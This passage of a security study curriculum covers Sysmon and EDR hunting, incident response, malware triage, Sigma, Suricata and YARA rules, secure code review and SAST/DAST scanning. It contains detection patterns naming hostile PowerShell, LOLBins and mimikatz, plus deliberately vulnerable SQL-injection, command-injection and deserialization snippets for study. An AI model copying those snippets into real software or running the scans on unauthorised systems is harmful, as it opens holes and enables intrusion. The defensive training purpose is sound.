# Install Sysmon with SwiftOnSecurity config (excellent baseline)
# https://github.com/SwiftOnSecurity/sysmon-config

Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.zip -OutFile Sysmon.zip
Expand-Archive Sysmon.zip
Invoke-WebRequest -Uri https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonco
nfig-export.xml -OutFile sysmonconfig.xml
.\Sysmon64.exe -accepteula -i sysmonconfig.xml
```

Key Sysmon Event IDs

Event ID	What It Captures	Attack Relevance
1	Process Create	Command execution, malware launch
3	Network Connection	C2, lateral movement
7	Image Loaded (DLL)	DLL hijacking, injection
8	CreateRemoteThread	Process injection
11	File Created	Malware dropped
13	Registry Value Set	Persistence via registry
22	DNS Query	C2 domain resolution
25	Process Tampering	EDR evasion attempts

Querying Sysmon Logs (PowerShell)

```
# Get process creation events with command line
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath '[System[EventID=1]]' |
  Select-Object TimeCreated, @{N='CmdLine';E={$_.Properties[10].Value}} | Format-List

# Find network connections to suspicious IPs
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath '[System[EventID=3]]' |
  Where-Object { $_.Message -like "*4444*" -or $_.Message -like "*8080*" }

# Find DNS queries (malware C2 resolution)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath '[System[EventID=22]]' |
  Select-Object TimeCreated, @{N='Query';E={$_.Properties[5].Value}} | Format-List
```

Velociraptor — Open Source DFIR

```
# Download from https://github.com/Velocidex/velociraptor/releases
# Run server (attacker/analyst machine)
./velociraptor gui

# Deploy agent to endpoint, collect artifacts:
# Windows.Forensics.ProcessInfo — running processes
# Windows.System.Pslist — process list with hashes
# Windows.EventLogs.Evtx — bulk event log collection
# Generic.Network.Netstat — network connections

# Hunt across endpoints — run artifact on all connected agents
# Artifacts → Hunt Manager → New Hunt → select artifact
```

Windows Defender for Endpoint (MDE) — KQL Hunting

```
// Suspicious PowerShell execution
DeviceProcessEvents
| where ProcessCommandLine has_any ("DownloadString", "IEX", "Invoke-Expression", "EncodedCommand")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine

// Lateral movement – remote process creation
DeviceLogonEvents
| where LogonType == "Network" and ActionType == "LogonSuccess"
| summarize count() by RemoteIP, DeviceName
| where count_ > 5

// Persistence – scheduled task creation
DeviceProcessEvents
| where ProcessCommandLine has "schtasks" and ProcessCommandLine has "/create"
```

Key EDR Concepts

- Behavioral detection: EDR watches process trees, not file hashes
- Red team implication: `cmd.exe` spawned by `word.exe` is an alert, even if the binary is clean
- AMSI: blocks malicious PowerShell at runtime — EDR hooks into it
- ETW: Windows event tracing — EDR telemetry source

Practice

- TryHackMe “Sysmon” room — install, configure, query
- TryHackMe “Velociraptor” room
- CyberDefenders labs with Sysmon logs as evidence

Source: `16-blue-team-soc-and-incident-response/06-incident-response-lifecycle.md`

Incident Response Lifecycle

IR process: PICERL. Structured response prevents chaos and limits damage.

PICERL Framework

Preparation → Identification → Containment → Eradication → Recovery → Lessons Learned

Phase 1 — Preparation

- Runbooks for common incident types (ransomware, phishing, insider)
- IR contacts: security team, legal, PR, HR, executive sponsor
- Backups verified and tested
- EDR/SIEM deployed and logging
- Network segmentation in place
- IR team trained and tabletop exercised

Phase 2 — Identification

```
# Initial triage questions:
# What triggered the alert? (SIEM rule, EDR alert, user report)
# What is the affected system? (hostname, IP, owner, criticality)
# When did activity start? (first seen timestamp)
# Is this ongoing?

# Quick scope check – is there lateral movement?
# SIEM query: logons from affected host to other systems in last 24h
index=windows EventCode=4624 src_ip=<affected_host> | stats count by dest

# Check for related alerts on same host or same IOC
# Build initial IOC list: IPs, hashes, domains, usernames
```

Phase 3 — Containment

```
# Isolate host (network quarantine – keep it on for forensics, just cut network)
# EDR: isolate host from console (Defender ATP, CrowdStrike, etc.)

# Disable compromised accounts
net user <username> /active:no                # Windows local
Disable-ADAccount -Identity <username>      # AD

# Block IOCs at firewall/proxy
# IP block, domain block, hash block in EDR

# Preserve evidence BEFORE wiping
# Take memory dump: winpmem or Magnet RAM Capture
winpmem.exe memory.raw

# Disk image (if needed): FTK Imager or dd
```

Phase 4 — Eradication

```
# Remove malware
# Delete malicious files, scheduled tasks, services, registry keys

# Close access vector
# Patch the exploited vulnerability
# Reset all credentials that may have been compromised
# Rotate service account passwords
# Revoke compromised certificates/tokens/API keys

# Verify clean – rescan with EDR, check persistence mechanisms
# HKLM\Software\Microsoft\Windows\CurrentVersion\Run
# schtasks /query /fo LIST /v
# sc query
```

Phase 5 — Recovery

```
# Restore from clean backup (verify backup predates compromise)
# Rebuild if no clean backup exists – faster than cleaning complex malware

# Gradually restore services (don't rush – confirm clean)
# Monitor intensively post-recovery (attacker may return)
# Consider threat hunting across fleet for similar IOCs
```

Phase 6 — Lessons Learned

Post-incident review (within 2 weeks):

- What happened? Full timeline.
- How was it detected? How could it have been detected earlier?
- What went well in the response?
- What needs improvement?
- What controls would have prevented this?
- Action items with owners and deadlines

IR Report Structure

1. Executive Summary (1 page — business impact, timeline, status)
2. Technical Timeline (chronological, all events with timestamps)
3. Root Cause Analysis (how did attacker get in?)
4. Scope of Impact (affected systems, data, accounts)
5. IOC List (IPs, domains, hashes, file paths, registry keys)
6. Remediation Actions Taken
7. Recommendations (preventive controls, detection improvements)

Practice

- TryHackMe “ItsyBitsy” — IR investigation room
- Blue Team Labs Online IR scenarios (follow the PICERL phases)
- CyberDefenders “CyberCorp Case 2” — full enterprise IR scenario

Source: `16-blue-team-soc-and-incident-response/07-threat-hunting-methodology.md`

Threat Hunting Methodology

Proactive search for attacker activity before alerts fire. Hypothesis-driven, data-intensive.

The Hunting Loop

Hypothesis → Data Collection → Analysis → Finding → Action (escalate or new detection rule)

Hypothesis Sources

- MITRE ATT&CK: pick a technique, hunt for evidence of it
- Threat intelligence: actor X uses technique Y — hunt for Y in your environment
- Anomaly baseline: what’s normal? hunt for deviations
- Red team findings: what did your last pentest show? hunt for it in prod

MITRE ATT&CK Driven Hunt

```
# ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/
# Pick technique: T1059.001 (PowerShell)

# Hunt in Splunk
index=windows EventCode=4688 Image="*powershell*"
| table _time, ComputerName, CommandLine
| sort -_time

# Hunt in Sysmon logs
index=sysmon EventCode=1 Image="*powershell*" CommandLine="*Encoded*"
| rex field=CommandLine "(?i)-enc\\w*s+(?P<b64>[A-Za-z0-9+/=]{20,})"
| table _time, ComputerName, b64
```

Common Hunt Hypotheses and Searches

```
# Living-off-the-land: LOLBins used for execution
index=windows EventCode=4688 (Image="*certutil*" OR Image="*mshta*" OR Image="*regsvr32*" OR Image="*wscript*")

# Credential dumping – LSASS access
index=sysmon EventCode=10 TargetImage="*lsass*"
| stats count by SourceImage, GrantedAccess

# Persistence via scheduled tasks
index=windows EventCode=4698
| table _time, ComputerName, TaskName, TaskContent

# Suspicious parent-child process relationships
index=sysmon EventCode=1 (ParentImage="*winword*" OR ParentImage="*excel*" OR ParentImage="*outlook*")
AND (Image="*cmd*" OR Image="*powershell*" OR Image="*wscript*")
```

Elastic/KQL Hunt Queries

```
// PowerShell with encoded commands
process.name: "powershell.exe" AND process.args: ("-enc" OR "-EncodedCommand")

// Network connections from Office apps (macro execution)
process.name: ("WINWORD.EXE" OR "EXCEL.EXE") AND event.type: "network_attempt"

// Unusual parent for cmd.exe
process.name: "cmd.exe" AND NOT process.parent.name: ("explorer.exe" OR "cmd.exe" OR "powershell.exe")
```

Data Sources for Hunting

Data Source	What to Hunt
EDR/Sysmon	Process chains, network connections, file drops
SIEM	Logon patterns, account changes, service installs
Proxy logs	Unusual domains, beaconing, large uploads
DNS logs	DGA domains, tunneling, C2 resolution
Firewall logs	Scanning, outbound to known bad IPs

IOC Analysis Tools

```
# CyberChef — decode base64, deobfuscate
# https://gchq.github.io/CyberChef/

# VirusTotal — hash/IP/domain lookup
curl "https://www.virustotal.com/vtapi/v2/file/report?apikey=KEY&resource=HASH"

# URLScan.io — scan suspicious URLs
# MISP — threat intelligence platform for IOC sharing
```

Hunt Output

- Confirmed attacker activity: escalate to IR immediately
- No finding but pattern is suspicious: tune into detection rule
- False positive noise: document and filter, refine hypothesis

Practice

- ThreatHunting.net — techniques and datasets
- CyberDefenders labs with endpoint telemetry
- TryHackMe “Hunting with Splunk” room
- Apply MITRE ATT&CK Navigator to your HTB/lab environments

Source: 16-blue-team-soc-and-incident-response/08-malware-analysis-orientation.md

Malware Analysis Orientation

Basic static and dynamic analysis for SOC context — identify IOCs, not full reverse engineering.

Static Analysis (No Execution)

```
# Identify file type (ignore extension)
file suspicious.exe
file suspicious.doc

# Get hash for VirusTotal lookup
sha256sum suspicious.exe
md5sum suspicious.exe

# Check VirusTotal (browser or CLI)
# https://www.virustotal.com/

# Extract printable strings
strings suspicious.exe | grep -iE "http|ftp|cmd|powershell|download|exec|base64"
strings suspicious.exe | grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}" # IP addresses
strings suspicious.exe | grep -E "[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]" # emails

# PE header analysis (Linux)
objdump -x suspicious.exe | head -50
readelf -h suspicious.elf

# Check imports — what Windows APIs does it call?
strings suspicious.exe | grep -iE "CreateProcess|VirtualAlloc|WriteProcessMemory|LoadLibrary|WinExec|ShellExecute"
# Suspicious: VirtualAlloc + WriteProcessMemory = injection
# Suspicious: URLDownloadToFile = dropper
```

Pestudio (Windows — PE Analysis)

Download: <https://www.winitor.com/>
Open suspicious.exe in pestudio:
- Indicators tab: automatic detection of suspicious strings, APIs, imports
- Strings tab: sorted by relevance, highlight suspicious entries
- Imports tab: see all Windows API calls
- Virustotal tab: submit hash automatically

Dynamic Analysis Setup

Required: isolated VM with NO internet access (use host-only network or INetSim)
Recommended: FlareVM (Windows analysis) or REMnux (Linux analysis)

FlareVM: <https://github.com/mandiant/flare-vm>
REMnux: <https://remnux.org/>

Dynamic Analysis Tools — Run Before and After

:: Windows — take snapshot before execution
RegShot: scan registry before → run malware → scan after → compare (shows persistence)
Process Monitor (ProcMon): filter by malware PID, watch file/registry/network activity
Process Hacker: watch process creation, memory, network connections
Wireshark: capture all network traffic during execution

What to Look For During Dynamic Analysis

New processes:	child processes spawned, injected processes
Network:	DNS queries (C2 domain), HTTP/HTTPS connections, IP:port
File drops:	new files in %TEMP%, %APPDATA%, C:\Windows\System32
Registry:	new Run keys, service installation, persistence
Mutexes:	malware often creates mutex to prevent re-infection (IOC)

Automated Sandboxes (Quick Analysis)

Any.run:	https://any.run/	# free tier, interactive sandbox
Hybrid Analysis:	https://hybrid-analysis.com/	# free
Joe Sandbox:	https://www.joesandbox.com/	# free community tier
Triage:	https://tria.ge/	# fast, free

Submit file → get behavioral report in minutes
Look for: C2 IPs, domains, dropped files, persistence mechanisms

Document Your IOCs

File IOCs:	SHA256 hash, filename, file path, creation time
Network IOCs:	C2 IP, domain, port, URI pattern, User-Agent string
Host IOCs:	Registry key, mutex name, scheduled task name, service name

Practice

- TryHackMe “Basic Malware RE” room
 - TryHackMe “MAL: Malware Introductory” room
 - Any.run public submissions — study existing malware reports
 - Blue Team Labs Online “Malware Analysis” challenges
-

Source: 16-blue-team-soc-and-incident-response/09-detection-engineering-basics.md

Detection Engineering Basics

Write rules that find attackers — Sigma, Suricata, YARA. Turn hunts into automated detections.

Sigma Rules (SIEM-Agnostic)

Sigma is a generic signature format. Write once, convert to any SIEM.

```
# Example Sigma rule: mimikatz detection
title: Mimikatz Execution via Command Line
id: e1f5f2c8-f1c6-4b9e-a67d-c0e8b3f2a1d4
status: experimental
description: Detects mimikatz execution or references in command line
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    EventID: 4688
    CommandLine|contains:
      - 'mimikatz'
      - 'sekurlsa'
      - 'lsadump'
      - 'kerberos::ptt'
  condition: selection
falsepositives:
  - Security testing
level: high
```

```
# Convert Sigma rule to Splunk query
pip install sigmatools
sigma convert -t splunk -r mimikatz.yml

# Convert to Elastic
sigma convert -t elasticsearch mimikatz.yml

# Online converter
# https://uncoder.io/
```

More Sigma Examples

```
# Encoded PowerShell
detection:
  selection:
    EventID: 4688
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - ' -enc '
      - ' -EncodedCommand '
  condition: selection

# New local admin account
detection:
  selection:
    EventID: 4720
  group_add:
    EventID: 4732
    TargetUserName: 'Administrators'
  condition: selection or group_add
```


Suricata Network Rules

```
# Alert on EternalBlue SMB exploit attempt
alert tcp any any -> any 445 (msg:"Possible EternalBlue Exploit"; content:"|FF|SMB"; sid:1000001; rev:1;)

# Detect Metasploit default User-Agent
alert http any any -> any any (msg:"Metasploit User-Agent"; http.user_agent; content:"Meterpreter"; sid:1000002; rev:1;)

# DNS tunneling – suspiciously long subdomain
alert dns any any -> any any (msg:"Long DNS Query - Possible Tunneling"; dns.query; pcre:"/[a-zA-Z0-9]{50,}/"; sid:1000003; rev:1;)

# C2 beacon – regular HTTP to non-standard port
alert http any any -> any !80 (msg:"HTTP on Non-Standard Port"; sid:1000004; rev:1;)
```

```
# Test Suricata rule against PCAP
suricata -r capture.pcap -S custom.rules -l /tmp/output/
cat /tmp/output/fast.log
```

YARA Rules (File Pattern Matching)

```
rule Mimikatz_Strings
{
  meta:
    description = "Detects Mimikatz binary or strings"
    author = "YourName"
  strings:
    $s1 = "sekurlsa::logonpasswords" ascii nocase
    $s2 = "kerberos::ptt" ascii nocase
    $s3 = "lsadump::dcsync" ascii nocase
    $s4 = "mimikatz" ascii nocase wide
  condition:
    2 of them
}
```

```
# Scan a file
yara mimikatz.yar suspicious.exe

# Scan a directory recursively
yara -r mimikatz.yar /tmp/samples/

# YARA rules repo
# https://github.com/Yara-Rules/rules
# https://github.com/Neo23x0/signature-base
```

Detection Rule Lifecycle

1. Trigger: threat intel, hunt finding, red team result
2. Write rule: start broad, refine
3. Test: run against known-good logs → measure false positive rate
4. Tune: add exclusions for legitimate activity
5. Deploy: push to SIEM/IDS
6. Monitor: review alert quality weekly, adjust as needed

Detection Quality Metrics

- True positive rate: does it catch real attacks?
- False positive rate: does it fire on normal activity?

- Specificity: is it precise (low FP) or noisy?
- Coverage: which ATT&CK techniques are covered by your ruleset?

Resources

- Sigma GitHub: <https://github.com/SigmaHQ/sigma>
 - Uncoder.io (convert between formats): <https://uncoder.io/>
 - YARA documentation: <https://yara.readthedocs.io/>
 - Suricata rule writing guide: <https://docs.suricata.io/en/latest/rules/>
 - Florian Roth's signature-base: <https://github.com/Neo23x0/signature-base>
-

Source: 16-blue-team-soc-and-incident-response/10-integration-ir-scenario.md

Integration — Full IR Scenario Walkthrough

Put it all together: receive alert → investigate → timeline → contain → report.

Recommended Lab

Use one of these for a realistic scenario: - Blue Team Labs Online: “Sticky Situation” or “Infection Monkey” IR scenarios <https://blueteamlabs.online/> - CyberDefenders: “CyberCorp Case 2” (free, DFIR heavy) <https://cyberdefenders.org/blueteam-ctf-challenges/> - TryHackMe “Carnage” room — PCAP and log-based IR <https://tryhackme.com/room/c2carnage>

Work through this as a timed exercise: target 2–3 hours.

Step 1 — Receive Alert, Read Initial IOCs

Alert received: "EDR — Credential Dumping Detected on DESKTOP-A1B2C3"
Time: 2024-03-15 14:32:11 UTC

Initial IOCs from alert:

- Affected host: DESKTOP-A1B2C3 (192.168.1.45)
- Process: lsass.exe accessed by rundll32.exe
- Parent: cmd.exe
- User context: john.smith@corp.local
- File dropped: C:\Windows\Temp\svch0st.exe (SHA256: abc123...)

Step 2 — SIEM Pivot — Timeline Reconstruction

```
# Start 30 minutes before alert — what triggered this?
index=windows host="DESKTOP-A1B2C3" earliest=-30m@m latest=+30m@m
| sort _time
| table _time, EventCode, Account_Name, Process_Name, CommandLine

# Find how attacker got initial access
index=windows EventCode=4624 dest="DESKTOP-A1B2C3" earliest=-2h@h
| table _time, src_ip, Account_Name, Logon_Type

# Look for lateral movement from this host
index=windows EventCode=4624 src_ip="192.168.1.45" earliest=-2h@h
| stats count by dest, Account_Name | sort -count

# Check email/web for phishing delivery (if proxy logs available)
index=proxy src="192.168.1.45" earliest=-4h@h
| table _time, url, action
```

Step 3 — Identify Patient Zero and Attack Vector

Questions to answer:

1. How did attacker get in? (phishing email? exploit? valid creds?)
2. What was the first malicious action?
3. What account was used?
4. What tools/TTPs were used? Map to MITRE ATT&CK.

Example finding:

- 13:45: john.smith received phishing email with macro attachment
- 13:47: WINWORD.EXE spawned cmd.exe (T1566.001 Spearphishing)
- 13:48: cmd.exe downloaded svch0st.exe via certutil (T1105 Ingress Tool Transfer)
- 14:30: svch0st.exe (Cobalt Strike beacon) accessed lsass (T1003.001 LSASS Memory)

Step 4 — Scope the Incident

```
# Was svch0st.exe seen on other hosts?
index=sysmon Image="*svch0st*" OR CommandLine="*svch0st*"
| stats count by ComputerName

# Were creds used for lateral movement?
index=windows EventCode=4624 Account_Name="john.smith" earliest=-6h@h
| stats count by ComputerName | where count > 0

# Data exfiltration check – large outbound after compromise
index=proxy src="192.168.1.45" action=allowed bytes_out > 1000000 earliest=14:30
| table _time, url, bytes_out
```

Step 5 — Containment Recommendations

Immediate (within 1 hour):

1. Isolate DESKTOP-A1B2C3 – network quarantine via EDR
2. Disable john.smith Active Directory account
3. Block C2 IP (identified from Cobalt Strike beacon config) at firewall
4. Block svch0st.exe hash at EDR across all endpoints
5. Force password reset for any accounts used from compromised host

Short-term (within 24 hours):

6. Scan all endpoints for svch0st.exe and Cobalt Strike IOCs
7. Review all john.smith logons in past 30 days
8. Pull and preserve memory from DESKTOP-A1B2C3 before reimage

Step 6 — Write IR Summary Report

IR REPORT — Incident #INC-2024-0315-001
Date: 2024-03-15 | Severity: HIGH | Status: Contained

Executive Summary:

A phishing email delivered a macro-enabled document to john.smith at 13:45 UTC. The macro executed a Cobalt Strike beacon, leading to credential dumping on DESKTOP-A1B2C3. No evidence of lateral movement or data exfiltration confirmed. Containment completed by 15:00 UTC.

Timeline:

13:45 - Phishing email received (subject: "Q1 Invoice")
13:47 - WINWORD.EXE executed macro, spawned cmd.exe
13:48 - svch0st.exe downloaded and executed (Cobalt Strike)
14:32 - EDR alert: lsass credential dump attempted
14:45 - Analyst begins investigation
15:00 - Host isolated, account disabled, IOCs blocked

IOCs:

- File: svch0st.exe | SHA256: abc123...
- C2: 185.220.101.47:443
- Domain: cdn-updates[.]com

Remediation:

- Host DESKTOP-A1B2C3 reimaged
- john.smith account reset, MFA enforced
- Phishing filter updated to block macro documents

Recommendations:

- Disable macro execution for non-approved documents (GPO)
- Deploy email sandboxing for attachments
- Add Cobalt Strike IOC rule to SIEM

Practice Sequence

1. CyberDefenders "CyberCorp Case 2" — structured enterprise IR
 2. Blue Team Labs Online "Sticky Situation" — hands-on scenario
 3. TryHackMe "Carnage" — PCAP plus endpoint logs combined
 4. Time yourself — OSCP+ blue team challenges are time-boxed
-

Phase — 17-appsec-secure-sdlc

Directory: 17-appsec-secure-sdlc/

Source: 17-appsec-secure-sdlc/01-resources-and-role-overview.md

AppSec Resources and Role Overview

AppSec engineers bridge dev and security — code reviews, tool integration, threat modeling, vuln validation.

Core Resources

- OWASP Testing Guide v4.2: <https://owasp.org/www-project-web-security-testing-guide/>
- OWASP ASVS: <https://owasp.org/www-project-application-security-verification-standard/>
- PortSwigger Web Academy (free, best web security training): <https://portswigger.net/web-security>
- SANS SEC522 (paid): <https://www.sans.org/courses/application-security-securing-web-apps-apis-microservices/>
- OWASP Code Review Guide: <https://owasp.org/www-project-code-review-guide/>

Practice Platforms

- PortSwigger Labs: <https://portswigger.net/web-security/all-labs>
- DVWA: `docker run --rm -it -p 80:80 vulnerables/web-dvwa`
- WebGoat: `docker run -p 8080:8080 webgoat/webgoat`
- Juice Shop: `docker run -p 3000:3000 bkimminich/juice-shop`
- OWASP crAPI (API security): `docker-compose -f deploy/docker/docker-compose.yml up`

Core Tools

Tool	Purpose
Burp Suite Pro	Manual web testing, proxy, scanner
OWASP ZAP	Free DAST, CI/CD integration
Semgrep	SAST, multi-language, extensible rules
Snyk	Dependency + container scanning
Trivy	All-in-one scanner (images, IaC, code)
Trufflehog	Secrets scanning in git history

The AppSec Role in Practice

Typical responsibilities: 1. Threat model new features before dev writes code 2. Review PRs for security issues (manual + SAST) 3. Own SAST/DAST/SCA tooling in CI/CD pipeline 4. Validate vulns reported by scanners or bug bounty 5. Write security requirements and developer guidance 6. Incident response support for application-layer attacks

Learning Order

Start at PortSwigger Web Academy (SQL injection → XSS → authentication → access control). Complete all OWASP Top 10 labs before moving to AppSec tooling. ASVS Level 2 is your baseline for what “secure” means in code.

Source: 17-appsec-secure-sdlc/02-threat-modeling-fundamentals.md

Threat Modeling Fundamentals

Practical threat modeling — not academic. Find real risks before attackers do, applied to actual features.

Tools

- OWASP Threat Dragon (free, visual): <https://owasp.org/www-project-threat-dragon/>
- Microsoft TMT: <https://aka.ms/threatmodelingtool>
- Draw.io for manual DFDs: <https://app.diagrams.net/>

STRIDE Framework

Letter	Threat	Example
S	Spoofing	Fake user identity, JWT forgery
T	Tampering	Modify request params, CSRF
R	Repudiation	No audit logs, deny sending a message
I	Info Disclosure	Error messages leak stack traces
D	Denial of Service	No rate limiting, resource exhaustion
E	Elevation of Privilege	IDOR, broken access control

5-Step Process

1. Draw data flow diagram (DFD) for the feature
 - External entities (users, external APIs)
 - Processes (application components)
 - Data stores (DB, cache, files)
 - Trust boundaries (dashed lines between zones)
2. Identify trust boundaries
 - Internet → WAF → App → DB
 - User input always crosses a boundary
3. Enumerate threats per component using STRIDE
 - For each process and data store: which STRIDE threats apply?
4. Rate risk
 - Risk = Likelihood × Impact
 - Use DREAD or simple High/Medium/Low
5. Define mitigations
 - Map each threat to a control
 - Controls: validate input, enforce authz, encrypt at rest, add logging

Quick Threat Model — Login Flow Example

Endpoint: POST /api/login {email, password}

- | | |
|---------------------------------------|---|
| S - Can attacker spoof identity? | → Brute force, credential stuffing |
| T - Can attacker tamper with request? | → Inject into email field, modify JWT |
| R - Is login activity logged? | → Missing audit log = repudiation risk |
| I - Does error message leak info? | → "email not found" vs "wrong password" |
| D - Is rate limiting applied? | → No = DoS/brute force risk |
| E - Can user escalate after login? | → Role assigned server-side? Or from token? |

Key Questions Per API Endpoint

- Who is allowed to call this endpoint?
- What data does it read/write?
- What happens if authentication is bypassed?
- What happens if a low-privilege user calls it?
- What does the error message reveal?
- Is this action logged?

Practice Exercise

Threat model a password reset flow: 1. Draw DFD: user → email link → token validation → password update 2. Apply STRIDE to each step 3. Identify at least 3 real threats with mitigations

Source: `17-appsec-secure-sdlc/03-secure-code-review-methodology.md`

Secure Code Review Methodology

Start at entry points — every route, endpoint, and input parameter. Work inward toward data stores.

Resources

- OWASP Code Review Guide: <https://owasp.org/www-project-code-review-guide/>
- PayloadsAllTheThings: <https://github.com/swisskyrepo/PayloadsAllTheThings>

Review Order

1. Map all entry points (routes, API endpoints, CLI args, file uploads)
2. Trace user input through the code — where does it land?
3. Check authentication on every sensitive route
4. Check authorization (can a low-priv user reach admin actions?)
5. Review data store interactions for injection
6. Check output encoding before rendering
7. Look for hardcoded secrets

High-Value Grep Patterns

```
# SQL injection candidates
grep -rn "mysql_query\|execute(" . --include="*.php"
grep -rn "cursor.execute\|format(" . --include="*.py" | grep "SELECT\|INSERT\|UPDATE"
grep -rn "db.query\|db.exec" . --include="*.js"

# Command injection
grep -rn "exec(\|system(\|shell_exec(\|passthru(" . --include="*.php"
grep -rn "subprocess\|os.system\|os.popen" . --include="*.py"

# Hardcoded credentials
grep -rn "password\s*=\s*['\"]" . --include="*.py"
grep -rn "api_key\|secret_key\|ACCESS_KEY" . --include="*.js"
grep -rn "BEGIN RSA PRIVATE KEY\|-----BEGIN" .

# Insecure deserialization
grep -rn "unserialize(\|pickle.loads\|yaml.load(" .

# Missing output encoding (XSS risk)
grep -rn "innerHTML\|document.write\|dangerouslySetInnerHTML" . --include="*.js"
```

Vulnerable Patterns to Spot

```
# PHP - SQL injection
$query = "SELECT * FROM users WHERE id=" . $_GET['id'];
mysql_query($query);

# PHP - Command injection
system("ping " . $_POST['host']);

# PHP - File inclusion
include($_GET['page'] . ".php");
```

```
# Python - SQL injection
cursor.execute(f"SELECT * FROM users WHERE id={user_id}")
cursor.execute("SELECT * FROM users WHERE name='" + name + "'")

# Python - Command injection
os.system("ping " + request.args.get("host"))

# Python - Insecure deserialization
obj = pickle.loads(user_data)
```

```
// JS - XSS
document.getElementById("output").innerHTML = userInput;

// JS - Prototype pollution
obj[userKey] = userValue; // if userKey is "__proto__"
```

Checklist

```
[ ] All routes require authentication (check middleware/guards)
[ ] Parameterized queries used everywhere (no string concatenation)
[ ] User input validated and sanitized at entry
[ ] Output encoded before rendering (HTML, JS, SQL contexts)
[ ] No hardcoded secrets or API keys
[ ] Authorization checks on every sensitive action (not just login)
[ ] Deserialization uses safe formats (JSON > pickle/unserialize)
[ ] File uploads: type check, size limit, store outside webroot
[ ] Error messages don't leak stack traces or internal paths
[ ] Logging in place for auth failures and sensitive actions
```

Ethical Note

Code review is only authorized on code you own or have explicit written permission to review.

Source: 17-appsec-secure-sdlc/04-sast-tools.md

SAST Tools

Static Application Security Testing — scan source code without running it. Integrate into CI/CD to catch issues early.

Resources

- Semgrep rules registry: <https://semgrep.dev/r>
- Bandit docs: <https://bandit.readthedocs.io/>
- SonarQube Community: <https://www.sonarqube.org/downloads/>

Semgrep (Best Free Option — Multi-Language)

```
# Install
pip install semgrep

# Scan with auto-selected rules (recommended starting point)
semgrep --config=auto src/

# Use specific ruleset from registry
semgrep --config=p/python src/
semgrep --config=p/javascript src/
semgrep --config=p/php src/
semgrep --config=p/go src/
semgrep --config=p/owasp-top-ten src/

# Fail with non-zero exit code on findings (for CI)
semgrep --config=auto --error src/

# JSON output for pipeline ingestion
semgrep --config=auto --json src/ > results.json

# Custom rule example (rules.yaml)
# rules:
#   - id: sql-injection-risk
#     pattern: cursor.execute("..." + $X)
#     message: Possible SQL injection
#     severity: ERROR
#     languages: [python]
semgrep --config=./rules.yaml src/
```

Bandit (Python Only)

```
pip install bandit

# Scan a directory
bandit -r ./src/

# High severity only
bandit -r ./src/ -l -i

# Skip false-positive-heavy tests
bandit -r ./src/ --skip B101,B601

# JSON output
bandit -r ./src/ -f json -o bandit-results.json
```

Brakeman (Ruby on Rails)

```
gem install brakeman

# Basic scan
brakeman app/

# Output HTML report
brakeman -o report.html app/

# Exit non-zero on warnings (CI use)
brakeman --exit-on-warn app/
```

ESLint Security Plugin (JavaScript/TypeScript)

```
npm install --save-dev eslint eslint-plugin-security

# .eslintrc.json
# {
#   "plugins": ["security"],
#   "extends": ["plugin:security/recommended"]
# }

eslint src/
```

SonarQube (Self-Hosted, Broader Coverage)

```
# Run via Docker
docker run -d --name sonarqube -p 9000:9000 sonarqube:community

# Scanner (download sonar-scanner)
sonar-scanner \
  -Dsonar.projectKey=myproject \
  -Dsonar.sources=. \
  -Dsonar.host.url=http://localhost:9000 \
  -Dsonar.login=<token>
```

CI/CD Integration (GitHub Actions)

```
- name: Semgrep SAST
  uses: returntocorp/semgrep-action@v1
  with:
    config: p/owasp-top-ten

- name: Bandit Python scan
  run: |
    pip install bandit
    bandit -r ./src/ -l -i --exit-zero
```

Triage Notes

- False positives are common — review HIGH/ERROR findings manually
- SAST finds: injection, hardcoded secrets, insecure functions, missing checks
- SAST misses: logic flaws, auth bypass, IDOR (needs DAST or manual review)
- Target: zero HIGH findings in CI before merge

Source: 17-appsec-secure-sdlc/05-dast-tools.md

DAST Tools

Dynamic Application Security Testing — scan a running application. Use against staging, never production.

Resources

- ZAP docs: <https://www.zaproxy.org/docs/>
- Nuclei templates: <https://github.com/projectdiscovery/nuclei-templates>
- Nikto: <https://github.com/sullo/nikto>

OWASP ZAP

```
# Install via package or Docker
docker pull ghcr.io/zaproxy/zaproxy:stable

# Daemon mode (headless)
docker run -u zap -p 8090:8090 ghcr.io/zaproxy/zaproxy:stable \
  zap.sh -daemon -port 8090 -config api.key=mysecretkey

# ZAP CLI (wrapper for scripting)
pip install zapcli
export ZAP_API_KEY=mysecretkey

# Spider the target
zap-cli --api-key mysecretkey spider http://target.local

# Run active scan
zap-cli --api-key mysecretkey active-scan http://target.local

# Export report
zap-cli --api-key mysecretkey report -o zap-report.html -f html

# Full automation – baseline scan (passive only, fast)
docker run --rm ghcr.io/zaproxy/zaproxy:stable \
  zap-baseline.py -t http://target.local -r report.html

# Full scan (active – slower, more findings)
docker run --rm ghcr.io/zaproxy/zaproxy:stable \
  zap-full-scan.py -t http://target.local -r report.html
```

Nuclei (Template-Based, Fast, Low False Positives)

```
# Install
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# or: brew install nuclei

# Update templates
nuclei -update-templates

# Scan single target
nuclei -u http://target.local

# High/Critical only
nuclei -u http://target.local -severity high,critical

# Use specific template category
nuclei -u http://target.local -t ~/nuclei-templates/http/cves/
nuclei -u http://target.local -t ~/nuclei-templates/http/exposures/
nuclei -u http://target.local -t ~/nuclei-templates/http/misconfigurations/

# Scan from file of URLs
nuclei -list urls.txt -t ~/nuclei-templates/ -severity high,critical

# JSON output
nuclei -u http://target.local -json -o results.json

# API-specific templates
nuclei -u http://target.local -t ~/nuclei-templates/http/default-logins/
```

Nikto (Basic Web Server Scan)

```
# Install
apt install nikto

# Basic scan
nikto -h http://target.local

# HTTPS target
nikto -h https://target.local -ssl

# Save output
nikto -h http://target.local -o nikto-report.html -Format html

# Specific port
nikto -h target.local -p 8443
```

CI/CD Integration (GitHub Actions)

```
- name: Nuclei DAST scan
  run: |
    nuclei -u http://staging.internal \
      -severity high,critical \
      -exit-code 1 \
      -json -o nuclei-results.json

- name: ZAP baseline scan
  run: |
